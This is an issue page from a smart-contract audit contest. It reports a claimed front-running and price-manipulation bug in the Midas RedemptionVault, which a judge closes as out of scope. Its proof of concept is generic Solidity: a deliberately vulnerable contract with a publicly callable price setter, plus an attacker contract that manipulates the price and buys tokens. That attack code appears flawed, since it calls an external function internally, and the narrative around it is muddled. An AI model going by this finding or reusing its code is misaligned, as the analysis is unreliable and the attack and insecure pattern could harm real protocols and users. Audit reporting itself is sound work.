sherlock-audit / 2024-08-midas-minter-redeemer-judging

1 stars 1 forks source link

admin - Front-Running and Price Manipulation at _convertMTokenToUsd and _convertUsdToToken functions for RedemptionVault contract #5

Closed sherlock-admin4 closed 1 month ago

sherlock-admin4 commented 1 month ago

admin

High

Front-Running and Price Manipulation at _convertMTokenToUsd and _convertUsdToToken functions for RedemptionVault contract

Summary

Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L151 Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L154

The rates for mToken and the output token are fetched via the _convertMTokenToUsd and _convertUsdToToken functions during a transaction. If there is a delay between fetching these rates and performing the final transfer, an attacker could manipulate the price feed data (if it's not secured) to benefit from the price difference.

Root Cause

Price manipulation

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

An attacker could manipulate the price feed data (if it's not secured) to benefit from the price difference.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IToken {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract VulnerableContract {
    IToken public token;
    uint256 public price; // price of the token in some base currency, e.g., USD

    constructor(IToken _token, uint256 _price) {
        token = _token;
        price = _price;
    }

    function buyToken(uint256 amount) external payable {
        require(msg.value >= amount * price, "Not enough Ether sent");
        token.transfer(msg.sender, amount);
    }

    function updatePrice(uint256 newPrice) external {
        // Assume this function is publicly callable and price is based on an oracle
        price = newPrice;
    }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./VulnerableContract.sol";

contract FrontRunningAttacker {
    VulnerableContract public vulnerableContract;
    IToken public token;
    address public owner;

    constructor(VulnerableContract _vulnerableContract, IToken _token) {
        vulnerableContract = _vulnerableContract;
        token = _token;
        owner = msg.sender;
    }

    function manipulatePrice(uint256 newPrice) external {
        require(msg.sender == owner, "Not authorized");

        // Step 1: Manipulate the price in the vulnerable contract
        vulnerableContract.updatePrice(newPrice);
    }

    function frontRun(uint256 amountToBuy, uint256 legitimatePrice, uint256 manipulatedPrice) external payable {
        require(msg.sender == owner, "Not authorized");

        // Step 2: Manipulate the price
        manipulatePrice(manipulatedPrice);

        // Step 3: Buy tokens at the manipulated price
        vulnerableContract.buyToken{value: msg.value}(amountToBuy);

        // Step 4: Reset the price to legitimate value
        vulnerableContract.updatePrice(legitimatePrice);

        // Step 5: Transfer the bought tokens to the attacker
        token.transfer(owner, token.balanceOf(address(this)));
    }

    receive() external payable {}
}

Deploy the VulnerableContract with an initial price (e.g., 1 Ether per token). Deploy the FrontRunningAttacker contract with references to the VulnerableContract and the token contract. The attacker observes a legitimate user's transaction to buy tokens at the current price. The attacker calls frontRun to: Manipulate the price to a lower value using manipulatePrice. Buy tokens at the manipulated, lower price. Reset the price to the original value. The legitimate user's transaction is executed, but the price has already been restored, so they receive fewer tokens than expected, while the attacker profits from the difference.

Mitigation

Mitigation: Consider using Chainlink’s latestAnswer with a time-weighted average price (TWAP) or implementing a check to ensure the rate hasn’t drastically changed between the time it was first fetched and when the transfer occurs.

sherlock-admin2 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

merlinboii commented:

OOS. The function already introduce the slipage check for redeemInstant and the price data fee has the min/max acceptable range checks